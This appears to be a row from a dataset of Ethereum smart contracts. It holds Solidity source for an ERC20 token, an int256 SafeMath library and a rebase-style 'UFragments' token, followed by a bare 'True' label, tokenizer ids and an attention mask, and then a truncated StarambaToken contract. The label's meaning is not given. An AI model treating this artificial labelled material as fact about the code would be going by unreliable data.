revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint256 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint256) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public virtual view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public virtual view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint256 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
/*
MIT License
Copyright (c) 2018 requestnetwork
Copyright (c) 2018 Fragments, Inc.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
/**
* @title SafeMathInt
* @dev Math operations for int256 with overflow safety checks.
*/
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b)
internal
pure
returns (int256)
{
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a)
internal
pure
returns (int256)
{
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
}
/**
* @title uFragments ERC20 token
* @dev This is part of an implementation of the uFragments Ideal Money protocol.
* uFragments is a normal ERC20 token, but its supply can be adjusted by splitting and
* combining tokens proportionally across all wallets.
*
* uFragment balances are internally represented with a hidden denomination, 'gons'.
* We support splitting the currency in expansion and combining the currency on contraction by
* changing the exchange rate between the hidden 'gons' and the public 'fragments'.
*/
contract UFragments is ERC20, Ownable {
// PLEASE READ BEFORE CHANGING ANY ACCOUNTING OR MATH
// Anytime there is division, there is a risk of numerical instability from rounding errors. In
// order to minimize this risk, we adhere to the following guidelines:
// 1) The conversion rate adopted is the number of gons that equals 1 fragment.
// The inverse rate must not be used--TOTAL_GONS is always the numerator and _totalSupply is
// always the denominator. (i.e. If you want to convert gons to fragments instead of
// multiplying by the inverse rate, you should divide by the normal rate)
// 2) Gon balances converted into Fragments are always rounded down (truncated).
//
// We make the following guarantees:
// - If address 'A' transfers x Fragments to address 'B'. A's resulting external balance will
// be decreased by precisely x Fragments, and B's external balance will be precisely
// increased by x Fragments.
//
// We do not guarantee that the sum of all balances equals the result of calling totalSupply().
// This is because, for any conversion function 'f()' that has non-zero rounding error,
// f(x0) + f(x1) + ... + f(xn) is not always equal to f(x0 + x1 + ... xn).
using SafeMath for uint256;
using SafeMathInt for int256;
event LogRebase(uint256 indexed epoch, uint256 totalSupply);
event LogMonetaryPolicyUpdated(address monetaryPolicy);
// Used for authentication
address public monetaryPolicy;
modifier onlyMonetaryPolicy() {
require(msg.sender == monetaryPolicy);
_;
}
modifier validRecipient(address to) {
require(to != address(0x0));
require(to != address(this));
_;
}
uint256 private constant DECIMALS = 9;
uint256 private constant MAX_UINT256 = ~uint256(0);
uint256 private constant INITIAL_FRAGMENTS_SUPPLY = 11 * 10**5 * 10**DECIMALS;
// TOTAL_GONS is a multiple of INITIAL_FRAGMENTS_SUPPLY so that _gonsPerFragment is an integer.
// Use the highest value that fits in a uint256 for max granularity.
uint256 private constant TOTAL_GONS = MAX_UINT256 - (MAX_UINT256 % INITIAL_FRAGMENTS_SUPPLY);
// MAX_SUPPLY = maximum integer < (sqrt(4*TOTAL_GONS + 1) - 1) / 2
uint256 private constant MAX_SUPPLY = ~uint128(0); // (2^128) - 1
uint256 private _totalSupply;
uint256 private _gonsPerFragment;
mapping(address => uint256) private _gonBalances;
// This is denominated in Fragments, because the gons-fragments conversion might change before
// it's fully paid.
mapping (address => mapping (address => uint256)) private _allowedFragments;
constructor()
ERC20("Soft Link Project X", "XMPL")
public {
ERC20._setupDecimals(DECIMALS);
_totalSupply = INITIAL_FRAGMENTS_SUPPLY;
_gonBalances[msg.sender] = TOTAL_GONS;
_gonsPerFragment = TOTAL_GONS.div(_totalSupply);
emit Transfer(address(0x0), msg.sender, _totalSupply);
}
/**
* @param monetaryPolicy_ The address of the monetary policy contract to use for authentication.
*/
function setMonetaryPolicy(address monetaryPolicy_)
external
onlyOwner
{
monetaryPolicy = monetaryPolicy_;
emit LogMonetaryPolicyUpdated(monetaryPolicy_);
}
/**
* @dev Notifies Fragments contract about a new rebase cycle.
* @param supplyDelta The number of new fragment tokens to add into circulation via expansion.
* @return The total number of fragments after the supply adjustment.
*/
function rebase(uint256 epoch, int256 supplyDelta)
external
onlyMonetaryPolicy
returns (uint256)
{
if (supplyDelta == 0) {
emit LogRebase(epoch, _totalSupply);
return _totalSupply;
}
if (supplyDelta < 0) {
_totalSupply = _totalSupply.sub(uint256(supplyDelta.abs()));
} else {
_totalSupply = _totalSupply.add(uint256(supplyDelta));
}
if (_totalSupply > MAX_SUPPLY) {
_totalSupply = MAX_SUPPLY;
}
_gonsPerFragment = TOTAL_GONS.div(_totalSupply);
// From this point forward, _gonsPerFragment is taken as the source of truth.
// We recalculate a new _totalSupply to be in agreement with the _gonsPerFragment
// conversion rate.
// This means our applied supplyDelta can deviate from the requested supplyDelta,
// but this deviation is guaranteed to be < (_totalSupply^2)/(TOTAL_GONS - _totalSupply).
//
// In the case of _totalSupply <= MAX_UINT128 (our current supply cap), this
// deviation is guaranteed to be < 1, so we can omit this step. If the supply cap is
// ever increased, it must be re-included.
// _totalSupply = TOTAL_GONS.div(_gonsPerFragment)
emit LogRebase(epoch, _totalSupply);
return _totalSupply;
}
/**
* @return The total number of fragments.
*/
function totalSupply()
public
view
override
returns (uint256)
{
return _totalSupply;
}
/**
* @param who The address to query.
* @return The balance of the specified address.
*/
function balanceOf(address who)
public
view
override
returns (uint256)
{
return _gonBalances[who].div(_gonsPerFragment);
}
/**
* @dev Transfer tokens to a specified address.
* @param to The address to transfer to.
* @param value The amount to be transferred.
* @return True on success, false otherwise.
*/
function transfer(address to, uint256 value)
public
validRecipient(to)
override
returns (bool)
{
uint256 gonValue = value.mul(_gonsPerFragment);
_gonBalances[msg.sender] = _gonBalances[msg.sender].sub(gonValue);
_gonBalances[to] = _gonBalances[to].add(gonValue);
emit Transfer(msg.sender, to, value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner has allowed to a spender.
* @param owner_ The address which owns the funds.
* @param spender The address which will spend the funds.
* @return The number of tokens still available for the spender.
*/
function allowance(address owner_, address spender)
public
view
override
returns (uint256)
{
return _allowedFragments[owner_][spender];
}
/**
* @dev Transfer tokens from one address to another.
* @param from The address you want to send tokens from.
* @param to The address you want to transfer to.
* @param value The amount of tokens to be transferred.
*/
function transferFrom(address from, address to, uint256 value)
public
validRecipient(to)
override
returns (bool)
{
_allowedFragments[from][msg.sender] = _allowedFragments[from][msg.sender].sub(value);
uint256 gonValue = value.mul(_gonsPerFragment);
_gonBalances[from] = _gonBalances[from].sub(gonValue);
_gonBalances[to] = _gonBalances[to].add(gonValue);
emit Transfer(from, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of
* msg.sender. This method is included for ERC20 compatibility.
* increaseAllowance and decreaseAllowance should be used instead.
* Changing an allowance with this method brings the risk that someone may transfer both
* the old and the new allowance - if they are both greater than zero - if a transfer
* transaction is mined before the later approve() call is mined.
*
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value)
public
override
returns (bool)
{
_allowedFragments[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner has allowed to a spender.
* This method should be used instead of approve() to avoid the double approval vulnerability
* described above.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
override
returns (bool)
{
_allowedFragments[msg.sender][spender] =
_allowedFragments[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner has allowed to a spender.
*
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
override
returns (bool)
{
uint256 oldValue = _allowedFragments[msg.sender][spender];
if (subtractedValue >= oldValue) {
_allowedFragments[msg.sender][spender] = 0;
} else {
_allowedFragments[msg.sender][spender] = oldValue.sub(subtractedValue);
}
emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]);
return true;
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
12609,
1011,
5511,
1011,
2539,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1020,
1012,
1020,
1025,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
1013,
1008,
1008,
1008,
1030,
16475,
10236,
7347,
2058,
5024,
3012,
1005,
1055,
20204,
3136,
2007,
2794,
2058,
12314,
1008,
14148,
1012,
1008,
1008,
20204,
3136,
1999,
5024,
3012,
10236,
2006,
2058,
12314,
1012,
2023,
2064,
4089,
2765,
1008,
1999,
12883,
1010,
2138,
28547,
2788,
7868,
2008,
2019,
2058,
12314,
13275,
2019,
1008,
7561,
1010,
2029,
2003,
1996,
3115,
5248,
1999,
2152,
2504,
4730,
4155,
1012,
1008,
1036,
3647,
18900,
2232,
1036,
9239,
2015,
2023,
26406,
2011,
7065,
8743,
2075,
1996,
12598,
2043,
2019,
1008,
3169,
2058,
12314,
2015,
1012,
1008,
1008,
2478,
2023,
3075,
2612,
1997,
1996,
4895,
5403,
18141,
3136,
11027,
2015,
2019,
2972,
1008,
2465,
1997,
12883,
1010,
2061,
2009,
1005,
1055,
6749,
2000,
2224,
2009,
2467,
1012,
1008,
1013,
3075,
3647,
18900,
2232,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
2804,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2006,
1008,
2058,
12314,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1009,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1008,
1011,
2804,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1010,
1000,
3647,
18900,
2232,
1024,
2804,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4942,
6494,
7542,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2006,
1008,
2058,
12314,
1006,
2043,
1996,
2765,
2003,
4997,
1007,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1011,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1008,
1011,
4942,
6494,
7542,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
4942,
1006,
1037,
1010,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
4942,
6494,
7542,
2058,
12314,
1000,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4942,
6494,
7542,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2007,
7661,
4471,
2006,
1008,
2058,
12314,
1006,
2043,
1996,
2765,
2003,
4997,
1007,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1011,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1008,
1011,
4942,
6494,
7542,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1010,
5164,
3638,
7561,
7834,
3736,
3351,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
5478,
1006,
1038,
1026,
1027,
1037,
1010,
7561,
7834,
3736,
3351,
1007,
1025,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1011,
1038,
1025,
2709,
1039,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
pragma solidity ^0.4.24;
/**
* @title The STT Token contract.
*
* By Nikita Fuchs
* Credit: Taking ideas from BAT token, NET token and Nimiq token.
*/
/**
* @title Safe math operations that throw error on overflow.
*
* Credit: Taking ideas from FirstBlood token
*/
library SafeMath {
/**
* @dev Safely add two numbers.
*
* @param x First operant.
* @param y Second operant.
* @return The result of x+y.
*/
function add(uint256 x, uint256 y)
internal pure
returns(uint256) {
uint256 z = x + y;
assert((z >= x) && (z >= y));
return z;
}
/**
* @dev Safely substract two numbers.
*
* @param x First operant.
* @param y Second operant.
* @return The result of x-y.
*/
function sub(uint256 x, uint256 y)
internal pure
returns(uint256) {
assert(x >= y);
uint256 z = x - y;
return z;
}
/**
* @dev Safely multiply two numbers.
*
* @param x First operant.
* @param y Second operant.
* @return The result of x*y.
*/
function mul(uint256 x, uint256 y)
internal pure
returns(uint256) {
uint256 z = x * y;
assert((x == 0) || (z/x == y));
return z;
}
}
/**
* @title The abstract ERC-20 Token Standard definition.
*
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
*/
contract Token {
/// @dev Returns the total token supply.
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
/// @dev MUST trigger when tokens are transferred, including zero value transfers.
event Transfer(address indexed _from, address indexed _to, uint256 _value);
/// @dev MUST trigger on any successful call to approve(address _spender, uint256 _value).
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* @title Default implementation of the ERC-20 Token Standard.
*/
contract StandardToken is Token {
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfers _value amount of tokens to address _to, and MUST fire the Transfer event.
* @dev The function SHOULD throw if the _from account balance does not have enough tokens to spend.
*
* @dev A token contract which creates new tokens SHOULD trigger a Transfer event with the _from address set to 0x0 when tokens are created.
*
* Note Transfers of 0 values MUST be treated as normal transfers and fire the Transfer event.
*
* @param _to The receiver of the tokens.
* @param _value The amount of tokens to send.
* @return True on success, false otherwise.
*/
function transfer(address _to, uint256 _value)
public
returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0 && balances[_to] + _value > balances[_to]) {
balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
emit Transfer(msg.sender, _to, _value);
return true;
} else {
return false;
}
}
/**
* @dev Transfers _value amount of tokens from address _from to address _to, and MUST fire the Transfer event.
*
* @dev The transferFrom method is used for a withdraw workflow, allowing contracts to transfer tokens on your behalf.
* @dev This can be used for example to allow a contract to transfer tokens on your behalf and/or to charge fees in
* @dev sub-currencies. The function SHOULD throw unless the _from account has deliberately authorized the sender of
* @dev the message via some mechanism.
*
* Note Transfers of 0 values MUST be treated as normal transfers and fire the Transfer event.
*
* @param _from The sender of the tokens.
* @param _to The receiver of the tokens.
* @param _value The amount of tokens to send.
* @return True on success, false otherwise.
*/
function transferFrom(address _from, address _to, uint256 _value)
public
returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0 && balances[_to] + _value > balances[_to]) {
balances[_to] = SafeMath.add(balances[_to], _value);
balances[_from] = SafeMath.sub(balances[_from], _value);
allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value);
emit Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
/**
* @dev Returns the account balance of another account with address _owner.
*
* @param _owner The address of the account to check.
* @return The account balance.
*/
function balanceOf(address _owner)
public view
returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev Allows _spender to withdraw from your account multiple times, up to the _value amount.
* @dev If this function is called again it overwrites the current allowance with _value.
*
* @dev NOTE: To prevent attack vectors like the one described in [1] and discussed in [2], clients
* @dev SHOULD make sure to create user interfaces in such a way that they set the allowance first
* @dev to 0 before setting it to another value for the same spender. THOUGH The contract itself
* @dev shouldn't enforce it, to allow backwards compatilibilty with contracts deployed before.
* @dev [1] https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-RLM/
* @dev [2] https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
* @return True on success, false otherwise.
*/
function approve(address _spender, uint256 _value)
public
returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Returns the amount which _spender is still allowed to withdraw from _owner.
*
* @param _owner The address of the sender.
* @param _spender The address of the receiver.
* @return The allowed withdrawal amount.
*/
function allowance(address _owner, address _spender)
public view
returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract RelocationToken {
// function of possible new contract to recieve tokenbalance to relocate - to be protected by msg.sender == StarambaToken
function recieveRelocation(address _creditor, uint _balance) external returns (bool);
}
/*is StandardToken */
contract StarambaToken is StandardToken {
// Token metadata
string public constant name = "STARAMBA.Token";
string public constant symbol = "STT";
uint256 public constant decimals = 18;
string public constant version = "1";
uint256 public TOKEN_CREATION_CAP = 1000 * (10**6) * 10**decimals; // 1000 million STTs
uint256 public constant TOKEN_MIN = 1 * 10**decimals; // 1 STT
address public STTadmin1; // First administrator for multi-sig mechanism
address public STTadmin2; // Second administrator for multi-sig mechanism
// Contracts current state (transactions still paused during sale or already publicly available)
bool public transactionsActive;
// Indicate if the token is in relocation mode
bool public relocationActive;
address public newTokenContractAddress;
// How often was the supply adjusted ? (See STT Whitepaper Version 1.0 from 23. May 2018 )
uint8 supplyAdjustmentCount = 0;
// Keep track of holders and icoBuyers
